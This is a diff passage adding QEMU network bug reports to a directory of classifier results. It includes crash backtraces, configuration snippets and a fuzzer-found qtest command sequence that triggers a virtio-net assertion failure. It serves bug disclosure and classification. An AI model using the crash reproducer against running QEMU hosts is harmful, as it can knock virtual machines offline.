+``` +set_link net0 off +ethtool enp0s1 on the guest now shows the link going down +set_link net0 on +``` + +qemu crashes as follows (virtio net): +``` +Thread 1 "qemu-system-aar" received signal SIGSEGV, Segmentation fault. +object_get_class (obj=obj@entry=0x0) at ../qemu/qom/object.c:1049 +1049 return obj->class; +(gdb) bt +#0 object_get_class (obj=obj@entry=0x0) at ../qemu/qom/object.c:1049 +#1 0x000055555602dd0f in QIO_CHANNEL_GET_CLASS (obj=0x0) + at /home/tsailer/src/daedalean/exp-bertcard-emu/qemu/include/io/channel.h:29 +#2 qio_channel_writev_full + (errp=0x0, flags=0, nfds=0, fds=0x0, niov=2, iov=0x7fffffff5190, ioc=0x0) + at ../qemu/io/channel.c:87 +#3 qio_channel_writev + (ioc=0x0, iov=iov@entry=0x7fffffff5190, niov=2, errp=errp@entry=0x0) + at ../qemu/io/channel.c:305 +#4 0x0000555555c42a66 in net_stream_receive + (nc=0x5555578477d0, buf=<optimized out>, size=90) + at ../qemu/net/stream.c:98 +#5 0x0000555555c3d327 in nc_sendv_compat + (flags=<optimized out>, iovcnt=1, iov=0x7fffffff52f0, nc=0x5555578477d0) + at ../qemu/net/net.c:784 +#6 qemu_deliver_packet_iov + (sender=<optimized out>, flags=<optimized out>, iov=0x7fffffff52f0, iovcnt=1, opaque=0x5555578477d0) at ../qemu/net/net.c:830 +#7 0x0000555555c4106c in qemu_net_queue_deliver_iov + (iovcnt=1, iov=0x7fffffff52f0, flags=0, sender=0x5555583049d8, queue=0x55555783c5e0) at ../qemu/net/queue.c:179 +#8 qemu_net_queue_send_iov + (queue=0x55555783c5e0, sender=0x5555583049d8, flags=flags@entry=0, iov=iov@entry=0x7fffffff52f0, iovcnt=iovcnt@entry=1, sent_cb=sent_cb@entry=0x555555f28fa0 <virtio_net_tx_complete>) at ../qemu/net/queue.c:235 +#9 0x0000555555c3ed63 in qemu_sendv_packet_async + (sent_cb=0x555555f28fa0 <virtio_net_tx_complete>, iovcnt=1, iov=0x7fffffff52f0, sender=<optimized out>) at ../qemu/net/net.c:875 +#10 0x0000555555f28c1d in virtio_net_flush_tx (q=q@entry=0x5555582fcb00) + at ../qemu/hw/net/virtio-net.c:2795 +#11 0x0000555555f28f18 in virtio_net_tx_bh (opaque=0x5555582fcb00) + at ../qemu/hw/net/virtio-net.c:2948 +#12 0x00005555561c2f47 in aio_bh_call (bh=bh@entry=0x5555582d0b30) + at ../qemu/util/async.c:172 +#13 0x00005555561c311e in aio_bh_poll (ctx=ctx@entry=0x5555574c3c10) + at ../qemu/util/async.c:219 +#14 0x00005555561ab382 in aio_dispatch (ctx=0x5555574c3c10) + at ../qemu/util/aio-posix.c:424 +#15 0x00005555561c2d82 in aio_ctx_dispatch + (source=<optimized out>, callback=<optimized out>, user_data=<optimized out>) at ../qemu/util/async.c:361 +#16 0x00007ffff7ad5d3b in g_main_context_dispatch () + at /lib/x86_64-linux-gnu/libglib-2.0.so.0 +#17 0x00005555561c45d8 in glib_pollfds_poll () at ../qemu/util/main-loop.c:287 +#18 os_host_main_loop_wait (timeout=0) at ../qemu/util/main-loop.c:310 +#19 main_loop_wait (nonblocking=nonblocking@entry=0) + at ../qemu/util/main-loop.c:589 +#20 0x0000555555bf2569 in qemu_main_loop () at ../qemu/system/runstate.c:835 +#21 0x00005555561047fa in qemu_default_main () at ../qemu/system/main.c:37 +#22 0x00007ffff7229d90 in __libc_start_call_main + (main=main@entry=0x5555558e5080 <main>, argc=argc@entry=44, argv=argv@entry=0x7fffffffd6c8) + at ../sysdeps/nptl/libc_start_call_main.h:58 +#23 0x00007ffff7229e40 in __libc_start_main_impl + (main=0x5555558e5080 <main>, argc=44, argv=0x7fffffffd6c8, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffd6b8) + at ../csu/libc-start.c:392 +#24 0x00005555558e6095 in _start () + +Crash with e1000e: +[ 16.846673] e1000e 0000:00:02.0 enp0s2: NIC Link is Down +[ 18.495388] e1000e 0000:00:02.0 enp0s2: NIC Link is Up 1000 Mbps Full Duplex, Flow Control: Rx/Tx + +Thread 5 "qemu-system-aar" received signal SIGSEGV, Segmentation fault. +[Switching to Thread 0x7fffafe00640 (LWP 641377)] +object_get_class (obj=obj@entry=0x0) at ../qemu/qom/object.c:1049 +1049 return obj->class; +(gdb) bt +#0 object_get_class (obj=obj@entry=0x0) at ../qemu/qom/object.c:1049 +#1 0x000055555602dd0f in QIO_CHANNEL_GET_CLASS (obj=0x0) + at /home/tsailer/src/daedalean/exp-bertcard-emu/qemu/include/io/channel.h:29 +#2 qio_channel_writev_full + (errp=0x0, flags=0, nfds=0, fds=0x0, niov=2, iov=0x7fffafdfe9b0, ioc=0x0) + at ../qemu/io/channel.c:87 +#3 qio_channel_writev + (ioc=0x0, iov=iov@entry=0x7fffafdfe9b0, niov=2, errp=errp@entry=0x0) + at ../qemu/io/channel.c:305 +#4 0x0000555555c42a66 in net_stream_receive + (nc=0x5555578589b0, buf=<optimized out>, size=90) + at ../qemu/net/stream.c:98 +#5 0x0000555555c3d327 in nc_sendv_compat + (flags=<optimized out>, iovcnt=3, iov=0x55555850b280, nc=0x5555578589b0) + at ../qemu/net/net.c:784 +#6 qemu_deliver_packet_iov + (sender=<optimized out>, flags=<optimized out>, iov=0x55555850b280, iovcnt=3, opaque=0x5555578589b0) at ../qemu/net/net.c:830 +#7 0x0000555555c4106c in qemu_net_queue_deliver_iov + (iovcnt=3, iov=0x55555850b280, flags=0, sender=0x5555584facf8, queue=0x55555783c6d0) at ../qemu/net/queue.c:179 +#8 qemu_net_queue_send_iov + (queue=0x55555783c6d0, sender=0x5555584facf8, flags=0, iov=0x55555850b280, iovcnt=3, sent_cb=0x0) at ../qemu/net/queue.c:235 +#9 0x0000555555a62737 in net_tx_pkt_send_custom + (pkt=0x5555584fb200, offload=<optimized out>, callback=0x555555a61150 <net_tx_pkt_sendv>, context=0x5555584facf8) at ../qemu/hw/net/net_tx_pkt.c:847 +#10 0x0000555555a62819 in net_tx_pkt_send + (pkt=<optimized out>, nc=<optimized out>) + at ../qemu/hw/net/net_tx_pkt.c:816 +#11 0x0000555555a6dd2a in e1000e_tx_pkt_send + (queue_index=<optimized out>, tx=0x555558480cc8, core=0x555558460a60) + at ../qemu/hw/net/e1000e_core.c:654 +#12 e1000e_process_tx_desc + (queue_index=<optimized out>, dp=0x7fffafdfeb20, tx=0x555558480cc8, core=0x555558460a60) at ../qemu/hw/net/e1000e_core.c:731 +#13 e1000e_start_xmit (core=0x555558460a60, txr=txr@entry=0x7fffafdfeb90) + at ../qemu/hw/net/e1000e_core.c:921 +#14 0x0000555555a6dfcc in e1000e_set_tdt + (core=<optimized out>, index=<optimized out>, val=<optimized out>) + at ../qemu/hw/net/e1000e_core.c:2432 +#15 0x0000555555f72044 in memory_region_write_accessor + (mr=0x555558460610, addr=14360, value=<optimized out>, size=4, shift=<optimized out>, mask=<optimized out>, attrs=...) at ../qemu/system/memory.c:497 +#16 0x0000555555f7320e in access_with_adjusted_size + (addr=addr@entry=14360, value=value@entry=0x7fffafdfece8, size=size@entry=4, + access_size_min=<optimized out>, access_size_max=<optimized out>, access_fn=0x555555f71fc0 <memory_region_write_accessor>, mr=<optimized out>, attrs=...) at ../qemu/system/memory.c:573 +#17 0x0000555555f743ad in memory_region_dispatch_write + (mr=mr@entry=0x555558460610, addr=addr@entry=14360, data=<optimized out>, + data@entry=19, op=op@entry=MO_32, attrs=...) + at ../qemu/system/memory.c:1560 +#18 0x0000555555fc6cc9 in int_st_mmio_leN + (cpu=cpu@entry=0x55555789a140, full=full@entry=0x7fffa47eab90, val_le=val_le@entry=19, addr=addr@entry=18446743801007585304, size=size@entry=4, mmu_idx=mmu_idx@entry=2, ra=140736286290890, mr=0x555558460610, mr_offset=14360) + at ../qemu/accel/tcg/cputlb.c:2489 +#19 0x0000555555fc6ec8 in do_st_mmio_leN + (cpu=0x55555789a140, full=0x7fffa47eab90, val_le=19, addr=18446743801007585304, size=4, mmu_idx=2, ra=140736286290890) at ../qemu/accel/tcg/cputlb.c:2524 +#20 0x0000555555fcb55a in do_st_4 + (ra=<optimized out>, memop=<optimized out>, mmu_idx=<optimized out>, val=19, p=<optimized out>, cpu=<optimized out>) at ../qemu/accel/tcg/cputlb.c:2694 +#21 do_st4_mmu + (cpu=0x55555789a140, addr=140736144075184, val=19, oi=2, ra=140736286290890) at ../qemu/accel/tcg/cputlb.c:2770 +#22 0x00007fffb859f416 in code_gen_buffer () +#23 0x0000555555fbb6a6 in cpu_tb_exec + (cpu=cpu@entry=0x55555789a140, itb=itb@entry=0x7fffb859f2c0 <code_gen_buffer+140112531>, tb_exit=tb_exit@entry=0x7fffafdff444) + at ../qemu/accel/tcg/cpu-exec.c:458 +#24 0x0000555555fbbc2f in cpu_loop_exec_tb + (tb_exit=0x7fffafdff444, last_tb=<synthetic pointer>, pc=<optimized out>, tb=0x7fffb859f2c0 <code_gen_buffer+140112531>, cpu=0x55555789a140) + at ../qemu/accel/tcg/cpu-exec.c:908 +#25 cpu_exec_loop (cpu=cpu@entry=0x55555789a140, sc=sc@entry=0x7fffafdff4f0) + at ../qemu/accel/tcg/cpu-exec.c:1022 +#26 0x0000555555fbc3d1 in cpu_exec_setjmp + (cpu=cpu@entry=0x55555789a140, sc=sc@entry=0x7fffafdff4f0) + at ../qemu/accel/tcg/cpu-exec.c:1039 +#27 0x0000555555fbcb9d in cpu_exec (cpu=cpu@entry=0x55555789a140) + at ../qemu/accel/tcg/cpu-exec.c:1065 +#28 0x0000555555fd8123 in tcg_cpu_exec (cpu=cpu@entry=0x55555789a140) + at ../qemu/accel/tcg/tcg-accel-ops.c:78 +#29 0x0000555555fd8280 in mttcg_cpu_thread_fn (arg=arg@entry=0x55555789a140) + at ../qemu/accel/tcg/tcg-accel-ops-mttcg.c:95 +#30 0x00005555561ae740 in qemu_thread_start (args=0x555557883000) + at ../qemu/util/qemu-thread-posix.c:541 +#31 0x00007ffff7294ac3 in start_thread (arg=<optimized out>) + at ./nptl/pthread_create.c:442 +#32 0x00007ffff7326850 in clone3 () + at ../sysdeps/unix/sysv/linux/x86_64/clone3.S:81 +``` +Steps to reproduce: +1. Boot guest +2. monitor: set_link net0 off +3. monitor: set_link net0 on +Additional information: +Same behaviour with d6430c17d7113d3c38480dc34e59d00b0504e2f7 (master as of 2025-01-19). diff --git a/results/classifier/gemma3:12b/network/2803 b/results/classifier/gemma3:12b/network/2803 new file mode 100644 index 000000000..a70b7e76c --- /dev/null +++ b/results/classifier/gemma3:12b/network/2803 @@ -0,0 +1,109 @@ + +Assert failure in virtio-net device in address_space_lduw_le_cached +Description of problem: +Issue was found by fuzzing. Assert + +``` +qemu/include/exec/memory_ldst_cached.h.inc:30: uint16_t address_space_lduw_le_cached(MemoryRegionCache *, hwaddr, MemTxAttrs, MemTxResult *): Assertion `addr < cache->len && 2 <= cache->len - addr' failed. +``` +can be triggered with some qtest commands. This is pretty similar to [issue_302](https://gitlab.com/qemu-project/qemu/-/issues/302) and [issue_781](https://gitlab.com/qemu-project/qemu/-/issues/781), but kinda different. In [issue_781](https://gitlab.com/qemu-project/qemu/-/issues/781) there is a comment, that issue was `Possibly fixed by commit 10d35e58 ("virtio-pci: fix queue_enable write").`, but unfortunately it is not - we can still trigger this assert with other set of command-line arguments and qtest commands. +Steps to reproduce: +Command: + +``` +cat << EOF | ./qemu-system-x86_64 -display none -machine accel=qtest, -m 512M -M q35 -nodefaults -device virtio-net,netdev=net0,packed=on -netdev user,id=net0 -qtest stdio +outl 0xcf8 0x80000810 +outl 0xcfc 0xc000 +outl 0xcf8 0x80000820 +outl 0xcfc 0xe0004000 +outl 0xcf8 0x80000804 +outw 0xcfc 0x7 +write 0xe0004008 0x1 0x01 +write 0xe000400c 0x1 0x04 +outl 0xc00b 0x01000000 +outl 0xc006 0x38380000 +outl 0xc001 0x00 +outl 0xc00f 0x04000100 +write 0x3839003 0x1 0x01 +EOF +``` + +Results in + +``` +[I 0.000000] OPENED +[R +0.028638] outl 0xcf8 0x80000810 +[S +0.028692] OK +OK +[R +0.028705] outl 0xcfc 0xc000 +[S +0.028729] OK +OK +[R +0.028738] outl 0xcf8 0x80000820 +[S +0.028748] OK +OK +[R +0.028763] outl 0xcfc 0xe0004000 +[S +0.028784] OK +OK +[R +0.028800] outl 0xcf8 0x80000804 +[S +0.029483] OK +OK +[R +0.029509] outw 0xcfc 0x7 +[S +0.029820] OK +OK +[R +0.029833] write 0xe0004008 0x1 0x01 +[S +0.029846] OK +OK +[R +0.029853] write 0xe000400c 0x1 0x04 +[S +0.029882] OK +OK +[R +0.029894] outl 0xc00b 0x01000000 +[S +0.029909] OK +OK +[R +0.029923] outl 0xc006 0x38380000 +[S +0.029938] OK +OK +[R +0.029944] outl 0xc001 0x00 +[S +0.029953] OK +OK +[R +0.029959] outl 0xc00f 0x04000100 +[S +0.030073] OK +OK +[R +0.030091] write 0x3839003 0x1 0x01 +[S +0.030106] OK +OK +qemu-system-x86_64: /home/artemiin/Work/original_qemu/include/exec/memory_ldst_cached.h.inc:30: uint16_t address_space_lduw_le_cached(MemoryRegionCache *, hwaddr, MemTxAttrs, MemTxResult *): Assertion `addr < cache->len && 2 <= cache->len - addr' failed. +``` +Additional information: +There is a stack trace from libFuzzer output: + +``` +#0 0x5555561bcfc1 in __sanitizer_print_stack_trace (qemu/build/qemu-fuzz-x86_64+0xc68fc1) (BuildId: 97b846e788f9dda2a285e5ea004d922c4886a315) +<some_asert_calls> +#6 0x7ffff48d4471 in abort stdlib/abort.c:79:7 +#7 0x7ffff48d4394 in __assert_fail_base assert/assert.c:92:3 +#8 0x7ffff48e2eb1 in __assert_fail assert/assert.c:101:3 +#9 0x555557043c41 in address_space_lduw_le_cached qemu/include/exec/memory_ldst_cached.h.inc:30:5 +#10 0x555557043c41 in lduw_le_phys_cached qemu/include/exec/memory_ldst_phys.h.inc:67:12 +#11 0x555557043c41 in virtio_lduw_phys_cached qemu/include/hw/virtio/virtio-access.h:166:12 +#12 0x555557030a78 in vring_avail_ring qemu/build/../hw/virtio/virtio.c:389:12 +#13 0x555557030a78 in virtqueue_get_head qemu/build/../hw/virtio/virtio.c:1043:13 +#14 0x555557030a78 in virtqueue_split_pop qemu/build/../hw/virtio/virtio.c:1540:10 +#15 0x555557030a78 in virtqueue_pop qemu/build/../hw/virtio/virtio.c:1790:16 +#16 0x555556f9aaf9 in virtio_net_flush_tx qemu/build/../hw/net/virtio-net.c:2746:16 +#17 0x555556f9a4dc in virtio_net_tx_bh qemu/build/../hw/net/virtio-net.c:2953:11 +#18 0x5555577152e2 in aio_bh_call qemu/build/../util/async.c:171:5 +#19 0x555557715830 in aio_bh_poll qemu/build/../util/async.c:218:13 +#20 0x5555576ce2d7 in aio_dispatch qemu/build/../util/aio-posix.c:423:5 +#21 0x555557717918 in aio_ctx_dispatch qemu/build/../util/async.c:360:5 +#22 0x7ffff69837a8 in g_main_context_dispatch (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x547a8) (BuildId: 9f90bd7bbfcf84a1f1c5a6102f70e6264837b9d4) +#23 0x5555577187cd in glib_pollfds_poll qemu/build/../util/main-loop.c:287:9 +#24 0x5555577187cd in os_host_main_loop_wait qemu/build/../util/main-loop.c:310:5 +#25 0x5555577187cd in main_loop_wait qemu/build/../util/main-loop.c:589:11 +#26 0x5555571ce309 in flush_events qemu/build/../tests/qtest/fuzz/fuzz.c:50:9 +#27 0x5555571d662b in generic_fuzz qemu/build/../tests/qtest/fuzz/generic_fuzz.c:669:13 +#28 0x5555571ce7de in LLVMFuzzerTestOneInput qemu/build/../tests/qtest/fuzz/fuzz.c:158:5 +<fuzzer_init_calls> +#35 0x5555560e2510 in _start (qemu/build/qemu-fuzz-x86_64+0xb8e510) (BuildId: 97b846e788f9dda2a285e5ea004d922c4886a315 +``` + +FYI @mstredhat diff --git a/results/classifier/gemma3:12b/network/2813 b/results/classifier/gemma3:12b/network/2813 new file mode 100644 index 000000000..b58c446bd --- /dev/null +++ b/results/classifier/gemma3:12b/network/2813 @@ -0,0 +1,10 @@ + +Cannot emulate Windows 95 / 98 +Description of problem: +If install Windows 95 / 98 on that configuration, Windows 95 / 98 crashed on "While initializing device NDIS: Windows protection error." message, or QEMU crashed. With this command line Windows 95 / 98 can worked on previous QEMU 7.<br>And please don't allow IME input on CJK (Chinese / Japanese / Korean) host system (that relied IME to input some text). Such input process is done by the IME in CJK operating system guest. +Steps to reproduce: +1. +2. +3. +Additional information: + diff --git a/results/classifier/gemma3:12b/network/282 b/results/classifier/gemma3:12b/network/282 new file mode 100644 index 000000000..bdaec3321 --- /dev/null +++ b/results/classifier/gemma3:12b/network/282 @@ -0,0 +1,2 @@ + +[Feature request] Provide a way to do TLS first in QEMU/NBD connections (not after NBD negotiation) diff --git a/results/classifier/gemma3:12b/network/2827 b/results/classifier/gemma3:12b/network/2827 new file mode 100644 index 000000000..e6e394a11 --- /dev/null +++ b/results/classifier/gemma3:12b/network/2827 @@ -0,0 +1,2 @@ + +Document how to use QEMU user mode networking with passt diff --git a/results/classifier/gemma3:12b/network/2829 b/results/classifier/gemma3:12b/network/2829 new file mode 100644 index 000000000..2d35f1ed2 --- /dev/null +++ b/results/classifier/gemma3:12b/network/2829 @@ -0,0 +1,22 @@ + +SMB sharing on FIPS enabled hosts with Samba broken +Description of problem: +Similar to #2593 , newer security features on GNU+Linux host OSes are continuing +to break communication with guests running older OSes. + +QEMU executes the `smbd` process in [slirp.c](net/slirp.c) to facilitate the SMB +sharing between guest and host. + +The host `smbd` process links in GnuTLS for authentication ciphers and algorithm +primitives. When `smbd` processes SMB requests from these older OS's SMB implementations, +it errors out with error lines: + +`Failed to setup SPNEGO negTokenInit request` + +`Failed to start SPNEGO handler for negprot OID list!` +Steps to reproduce: +1. Access a GNU+Linux machine with GnuTLS library in FIPS mode which `smbd` links against +2. Run `qemu-system-*` with an older guest OS with a `smb` share to host +3. See errors in `/tmp/qemu.smb*/log.smbd` +Additional information: +# diff --git a/results/classifier/gemma3:12b/network/2849 b/results/classifier/gemma3:12b/network/2849 new file mode 100644 index 000000000..534f8d366 --- /dev/null +++ b/results/classifier/gemma3:12b/network/2849 @@ -0,0 +1,19 @@ + +Qemu 9.2.x & Ubuntu 24.04 Network Issue +Description of problem: +After successfully starting, I cannot access the Internet with the virtual machine. I can connect to the VM via SSH and execute various commands. We want a simple NAT network.. + +We built the Qemu distribution ourselves with the following command: + +./configure --target-list=x86_64-softmmu --disable-install-blobs --enable-strip --enable-user --enable-system --enable-linux-user --disable-xen --enable-modules --enable-module-upgrades --enable-linux-aio --enable-fdt --enable-gnutls --enable-libiscsi --enable-libssh --enable-vnc --enable-kvm --enable-vhost-user +make -j 12 +sudo make install + +Check Libvirt: +$systemctl status libvirtd - active + +after the VM was successfully started, the IP 10.2.15 was set to ens3 altname enp0s3 assign. + +A ping to 8.8.8.8 can not be resolved. +Additional information: +We can rule out an image problem because this image runs without problems on the Windows Mac guest system and an Internet connection is possible. diff --git a/results/classifier/gemma3:12b/network/2872 b/results/classifier/gemma3:12b/network/2872 new file mode 100644 index 000000000..fb1e55bc8 --- /dev/null +++ b/results/classifier/gemma3:12b/network/2872 @@ -0,0 +1,2 @@ + +hw/net: Parameter 'driver' expects a pluggable device type diff --git a/results/classifier/gemma3:12b/network/2876 b/results/classifier/gemma3:12b/network/2876 new file mode 100644 index 000000000..a5c08eeff --- /dev/null +++ b/results/classifier/gemma3:12b/network/2876 @@ -0,0 +1,15 @@ + +IPv6 support for hostfwd + guestfwd +Description of problem: +When using hostfwd, only IPv4 connections are forwarded. +Steps to reproduce: +1. Start vm with the aforementioned command using a system image that comes with a socket listening on both IPv4 and IPv6. (I used Arch Linux Box which comes with `sshd` enabled by default). +2. Connect to the forwarded socket: + - IPv4 succeeds: + - `ssh -oPasswordAuthentication=yes arch@127.0.0.1 -p 52022` + - `nc -zv 127.0.0.1 52022` + - IPv6 does not: + - `ssh -oPasswordAuthentication=yes arch@::1 -p 52022` + - `nc -zv ::1 52022` +Additional information: +# diff --git a/results/classifier/gemma3:12b/network/2884 b/results/classifier/gemma3:12b/network/2884 new file mode 100644 index 000000000..2a22136cf --- /dev/null +++ b/results/classifier/gemma3:12b/network/2884 @@ -0,0 +1,36 @@ + +Questions about vfio-pci +Description of problem: +When I use VFIO-PCI to pass through an hns3 device and load the driver to the VM to enable the hns3 network port, there is a possibility that the failure occurs. +Steps to reproduce: +1. Start the VM and load the hns3 driver. +2. enable net port + + `ifconfig eth0 10.10.10.10/24 up` +3. ping host + + `ping 10.10.10.11 -c 3` +Additional information: +I have the following findings: + +1. The problem can be reproduced in different kernel versions and QEMU versions. +2. The problem does not recur when the number of vCPUs is 1. +3. It is irrelevant to the GIC version. + +the hns3 relately logic: + +{width="394" height="285"} + +If the VM has two vCPUs, "ifconfig eth0 10.10.10.10/24 up" command performs two sequential enable_irq operations(vector_num=2). The enable_irq will trap into KVM for interrupt configuration and exit to QEMU for PCI device emulation. When emulating interrupt enabling in QEMU, vfio\_\[intx/msi/msix\]\_enable calls vfio_disable_interrupts to disable all interrupts on the vdev. + +{width="455" height="266"} + +vfio_disable_interrupts in QEMU calls the kernel vfio driver interface vfio_pci_set_irqs_ioctl + +{width="404" height="127"} + +dump stack as above. and then its_irq_domain_deactivate will call its_send_discard to discard the interrupt on the device. + +If an interrupt is handled after the first enable_irq but the second enable_irq discards it, this inconsistency leads to network port enablement failures. + +It puzzles me. why does the vfio-pci disable all interrupts of the device before enabling irqs? diff --git a/results/classifier/gemma3:12b/network/2934 b/results/classifier/gemma3:12b/network/2934 new file mode 100644 index 000000000..d26e9c564 --- /dev/null +++ b/results/classifier/gemma3:12b/network/2934 @@ -0,0 +1,65 @@ + +RSS eBPF failed to load +Description of problem: +I am seeing a failure to load the eBPF program for rss steering. +Steps to reproduce: +1. Using libvirt, enable rss='on' for the vhost driver. +2. +3. +Additional information: +Libvirt log: +``` +libbpf: prog 'tun_rss_steering_prog': BPF program load failed: Invalid argument +libbpf: prog 'tun_rss_steering_prog': -- BEGIN PROG LOAD LOG -- +back-edge from insn 587 to 501 +processed 0 insns (limit 1000000) max_states_per_insn 0 total_states 0 peak_states 0 mark_read 0 +-- END PROG LOAD LOG -- +libbpf: prog 'tun_rss_steering_prog': failed to load: -22 +libbpf: failed to load object 'rss_bpf' +libbpf: failed to load BPF skeleton 'rss_bpf': -22 +2025-04-26T09:22:19.054471Z qemu-system-x86_64: -device {"driver":"virtio-net-pci","packed":true,"tx":"bh","ioeventfd":true,"event_idx":true,"host_ecn":true,"mrg_rxbuf":true,"guest_ecn":true,"mq":true,"vectors":14,"rx_queue_size":1024,"tx_queue_size":256,"rss":true,"netdev":"hostnet0","id":"net0","mac":"52:54:00:c3:6f:c2","bus":"pci.1","addr":"0x0"}: warning: Unable to load eBPF program +``` +[qemu-log.txt](/uploads/2d5e49a38a54297586a4b1f16423fc27/qemu-log.txt) + +XML: +```xml + <interface type='bridge'> + <mac address='52:54:00:be:49:ff'/> + <source bridge='inet'/> + <model type='virtio'/> + <driver name='vhost' txmode='iothread' ioeventfd='on' event_idx='on' queues='6' rx_queue_size='1024' tx_queue_size='256' rss='on' packed='on'> + <host ecn='on' mrg_rxbuf='on'/> + <guest ecn='on'/> + </driver> + <link state='up'/> + <address type='pci' domain='0x0000' bus='0x08' slot='0x00' function='0x0'/> + </interface> +``` + +Host kernel .config: +``` +❯ zcat /proc/config.gz |grep -i bpf +CONFIG_BPF=y +CONFIG_HAVE_EBPF_JIT=y +CONFIG_ARCH_WANT_DEFAULT_BPF_JIT=y +# BPF subsystem +CONFIG_BPF_SYSCALL=y +CONFIG_BPF_JIT=y +CONFIG_BPF_JIT_ALWAYS_ON=y +CONFIG_BPF_JIT_DEFAULT_ON=y +CONFIG_BPF_UNPRIV_DEFAULT_OFF=y +# CONFIG_BPF_PRELOAD is not set +# CONFIG_BPF_LSM is not set +# end of BPF subsystem +CONFIG_CGROUP_BPF=y +CONFIG_NETFILTER_BPF_LINK=y +CONFIG_NETFILTER_XT_MATCH_BPF=m +CONFIG_NET_CLS_BPF=m +CONFIG_NET_ACT_BPF=m +CONFIG_BPF_STREAM_PARSER=y +CONFIG_LWTUNNEL_BPF=y +# HID-BPF support +CONFIG_HID_BPF=y +# end of HID-BPF support +CONFIG_BPF_EVENTS=y +``` diff --git a/results/classifier/gemma3:12b/network/2951 b/results/classifier/gemma3:12b/network/2951 new file mode 100644 index 000000000..966893643 --- /dev/null +++ b/results/classifier/gemma3:12b/network/2951 @@ -0,0 +1,22 @@ + +First byte of USB NIC is hardcoded to 0x40 +Description of problem: +Incus recently added support for USB attached network interfaces. +As with any network device, we generate a MAC address (using our MAC OUI) and allow the user to override that to a value of their choice. + +That's when we noticed that no matter what MAC address we set, the resulting MAC always has the prefix swapped to "40:". Looking into the code, this is done on purpose here: + +https://gitlab.com/qemu-project/qemu/-/blob/master/hw/usb/dev-network.c?ref_type=heads#L1386 + +Unfortunately there is no comment in the code or in any of the commits touching that code as far as why that is. + +We've also looked at the libvirt code handling those devices and that code seems to also assume that a user provided MAC will be correctly passed through to the guest, no mention of the odd prefix override. + +This is a bit concerning as there are valid IEEE OUI with the "40:" prefix. +So this means that QEMU may be generating collisions with actual physical MAC addresses... + +For a few months now, I've been applying this small patch to my own Incus packages (which bundle QEMU) and haven't heard or seen any obvious issue from the change. + +https://github.com/zabbly/incus/blob/daily/patches/qemu-0001-usb-net-mac.patch + +Does anyone know why this hardcoded MAC address prefix exists? diff --git a/results/classifier/gemma3:12b/network/2962 b/results/classifier/gemma3:12b/network/2962 new file mode 100644 index 000000000..4b5397476 --- /dev/null +++ b/results/classifier/gemma3:12b/network/2962 @@ -0,0 +1,23 @@ + +DHCP UDP checksum workaround code appears to be broken +Description of problem: +I am running dnsmasq DHCP server in an lxc-container. It is using a VETH pair for the network. The VETH device on the host is in a bridge. I create a TAP device and place it in the bridge. When booting the guest, I notice that the DHCP OFFER has an invalid UDP checksum all the way through the bridge and into the guest. I am able to fix this by disabling checksum offload inside the container, or adding an nftables rule that zeros out the checksum, or by reverting commit 7987d2be5a8bc3a502f89ba8cf3ac3e09f64d1ce. +Steps to reproduce: +1. From a debian 12 host, `apt-get install lxc lxc-templates` +2. `ip link add brtest type bridge` +3. `ip link set brtest up` +4. Create a container: `lxc-create -n dhcp -t debian -- --package=dnsmasq` +5. Edit the lxc container file `/var/lib/lxc/dhcp/config` and make sure the link is properly set to `lxc.net.0.link = brtest`, the type is set to `veth`, and give it an IP `lxc.net.0.ipv4.address = 192.168.255.1/24` +6. Start the container: `lxc-start -n dhcp` +7. Attach to the container: `lxc-attach -n dhcp` +8. Stop dnsmasq and networking: `systemctl stop dnsmasq.service networking.service` +9. Run a DHCP server: `dnsmasq --dhcp-authoritative --dhcp-range=192.168.255.2,192.168.255.254,255.255.255.0,1h --dns-loop-detect` +10. Exit the container: `exit` +11. Download the linux mint 22.1 installer: https://linuxmint.com/edition.php?id=319 +12. Create a TAP device and throw it in the bridge: `ip tuntap add dev taptest mode tap` .. `ip link set dev taptest up master brtest` +13. Run qemu: `qemu-system-x86_64 -enable-kvm -smp 4,sockets=1,threads=1 -machine pc-q35-9.2,accel=kvm,kernel_irqchip=on -m 4096 -device virtio-net-pci,netdev=nic91 -netdev tap,id=nic91,ifname=taptest,script=no,downscript=no -cdrom linuxmint-22.1-cinnamon-64bit.iso` .. I run it with vnc as this is on a headless server. +14. Once the guest has booted, you can run a tcpdump on the NIC and see that the guest receives the DHCP offer, but the UDP checksum is bunk. +Additional information: +I was able to test reverting the commit 7987d2be5a8bc3a502f89ba8cf3ac3e09f64d1ce and that appears to function once again. + +{width=901 height=38} diff --git a/results/classifier/gemma3:12b/network/2969 b/results/classifier/gemma3:12b/network/2969 new file mode 100644 index 000000000..a14f15fc4 --- /dev/null +++ b/results/classifier/gemma3:12b/network/2969 @@ -0,0 +1,213 @@ + +Raspberry Pi 4 Model B Rev 1.5 ("raspi4b"): No keyboard input after booting; "raspi3b" works +Description of problem: +I am using a `non-root` setup. + +# +Steps to reproduce: +1. Install `latest` QEMU version from `Master branch`. As of writing commit hash `757a34115e7491744a63dfc3d291fd1de5297ee2`: +```bash +$ ACCEPT_KEYWORDS="**" \ +USE="qemu_softmmu_targets_aarch64 qemu_softmmu_targets_x86_64 qemu_user_targets_aarch64 qemu_user_targets_x86_64 -ncurses slirp spice virtfs aio alsa bzip2 curl dock fdt filecaps gnutls jpeg oss pam pin-upstream-blobs png pulseaudio python_targets_python3_12 python_targets_python3_13 seccomp slirp spice udev usb vhost-net virtfs vnc xattr zstd" \ +emerge --oneshot =app-emulation/qemu-9999 +``` + +All `USE flags` can be found [below](#use-flags-app-emulationqemu). + +2. Install `slirp4netns`, `libslirp` and `tigervnc`: +```bash +$ USE="-opengl -server" emerge --oneshot =app-containers/slirp4netns-1.2.0 =net-libs/libslirp-4.7.0 =net-misc/tigervnc-1.15.0 +``` + +All `USE flags` can be found [below](#use-flags-net-misctigervnc). + +3. Prepare directory structure in the `current working directory`: +```bash +$ mkdir "rpi3_model_b/" "rpi4_model_b_rev1.5/" +``` + +4. Download `DTB` and `Kernel image files` from the [`Raspberry Pi firmware Git repository`](https://github.com/raspberrypi/firmware/tree/0ea28740607daed588912930379ed6ad40cfc4be/boot): +```bash +$ wget "https://github.com/raspberrypi/firmware/raw/0ea28740607daed588912930379ed6ad40cfc4be/boot/bcm2710-rpi-3-b.dtb" \ + --output-document="./rpi3_model_b/bcm2710-rpi-3-b_from_master_branch_0ea28740607daed588912930379ed6ad40cfc4be.dtb" +$ wget 